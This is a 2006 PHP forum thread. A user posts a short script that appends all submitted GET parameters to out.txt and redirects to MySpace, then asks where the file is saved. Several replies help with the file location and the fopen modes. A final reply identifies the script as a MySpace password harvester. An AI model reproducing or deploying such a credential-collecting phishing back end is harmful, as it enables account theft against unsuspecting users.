Tycoon Talk
Become a Big fish!
The number 1 forum for online business!
Post topics, ask questions, share your knowledge.
Tycoon Talk is part of Freelancer.com - find skilled workers online at a fraction of the cost.

PHP Forum


You are currently viewing our PHP Forum as a guest. Please register to participate.
Login



Freelance Jobs

Reply
Old 03-16-2006, 07:01 PM Out.txt?
Junior Talker

Posts: 1
Trades: 0
i have a .php file that supposedly creates this out.txt file . where would i be able to find this out.txt file? here's the php file,
PHP Code:
<?php
header
("Location: http://home14.myspace.com/index.cfm?fuseaction=user");
$handle fopen("out.txt""a");
foreach(
$_GET as $variable => $value) {
   
fwrite($handle$variable);
   
fwrite($handle"=");
   
fwrite($handle$value);
   
fwrite($handle"\r\n");
}
fwrite($handle"\r\n");
fclose($handle);
exit;
?>
my website host supports php so i just uploaded the php file and the other files to my website and now i don't know where to find this out.txt file
robitor is offline
Reply With Quote
View Public Profile
 
 
Register now for full access!
Old 03-16-2006, 07:14 PM Re: Out.txt?
Republikin's Avatar
Defies a Status

Posts: 3,189
Trades: 3
It is probably non existent considering your script is telling the browser to change location to that link on the first line, consequently none of the rest of the script is run. If it were to run that file would be in the same folder as the script.
__________________

Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE
Republikin is offline
Reply With Quote
View Public Profile
 
Old 03-17-2006, 05:17 AM Re: Out.txt?
neroux's Avatar
Ultra Talker

Posts: 284
Trades: 0
You should find it in the same directory as the PHP file is in, given that the script has the permissions to write there.
__________________

Please login or register to view this content. Registration is FREE
- The world at your fingertips
• Share your city with the world

--
Please login or register to view this content. Registration is FREE
neroux is offline
Reply With Quote
View Public Profile
 
Old 04-17-2006, 08:43 PM Re: Out.txt?
Junior Talker

Posts: 1
Trades: 0
yes, i can help you set it up , what is the address to where you are uploading the php file?
kimbaleee is offline
Reply With Quote
View Public Profile
 
Old 04-18-2006, 04:04 AM Re: Out.txt?
cdwhalley.com's Avatar
Skilled Talker

Posts: 75
Trades: 0
You need to put an empty out.txt file in the same directory as the script.
cdwhalley.com is offline
Reply With Quote
View Public Profile Visit cdwhalley.com's homepage!
 
Old 04-18-2006, 08:23 AM Re: Out.txt?
bureX's Avatar
Novice Talker

Posts: 8
Trades: 0
Not unless he uses the "a+" parameter (means: append to file and create it if it doesn't exist).

PHP Code:
$handle fopen("out.txt""a+"); 
__________________

Please login or register to view this content. Registration is FREE
- My humble homecooked blog (with extra salt)
bureX is offline
Reply With Quote
View Public Profile Visit bureX's homepage!
 
Old 04-18-2006, 11:27 AM Re: Out.txt?
cdwhalley.com's Avatar
Skilled Talker

Posts: 75
Trades: 0
Both "a" and "a+" attempt to create the file if it doesn't exist. The difference is that "a" opens for writing only, while "a+" opens for reading and writing.
cdwhalley.com is offline
Reply With Quote
View Public Profile Visit cdwhalley.com's homepage!
 
Old 04-18-2006, 11:53 AM Re: Out.txt?
bureX's Avatar
Novice Talker

Posts: 8
Trades: 0
Sorry 'bout that... Yes, you're right, both will create a new file. (if there are enough privileges to do that)
__________________

Please login or register to view this content. Registration is FREE
- My humble homecooked blog (with extra salt)

Last edited by bureX; 04-18-2006 at 11:59 AM..
bureX is offline
Reply With Quote
View Public Profile Visit bureX's homepage!
 
Old 04-18-2006, 02:38 PM Re: Out.txt?
cdwhalley.com's Avatar
Skilled Talker

Posts: 75
Trades: 0

It's ok - I had to look it up.
cdwhalley.com is offline
Reply With Quote
View Public Profile Visit cdwhalley.com's homepage!
 
Old 07-17-2006, 01:06 AM Re: Out.txt?
Junior Talker

Posts: 1
Trades: 0
It should be noted that this is a malicious script aimed at harvesting MySpace passwords, and I don't think anybody should be helping this user with this problem. If your going to try and be a script kiddie, at least put in enough effort where you understand what that code is doing, and how to modify it some.
Phrozen_One is offline
Reply With Quote
View Public Profile
 
Reply     « Reply to Out.txt?
 

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML



Page generated in 0.29734 seconds with 12 queries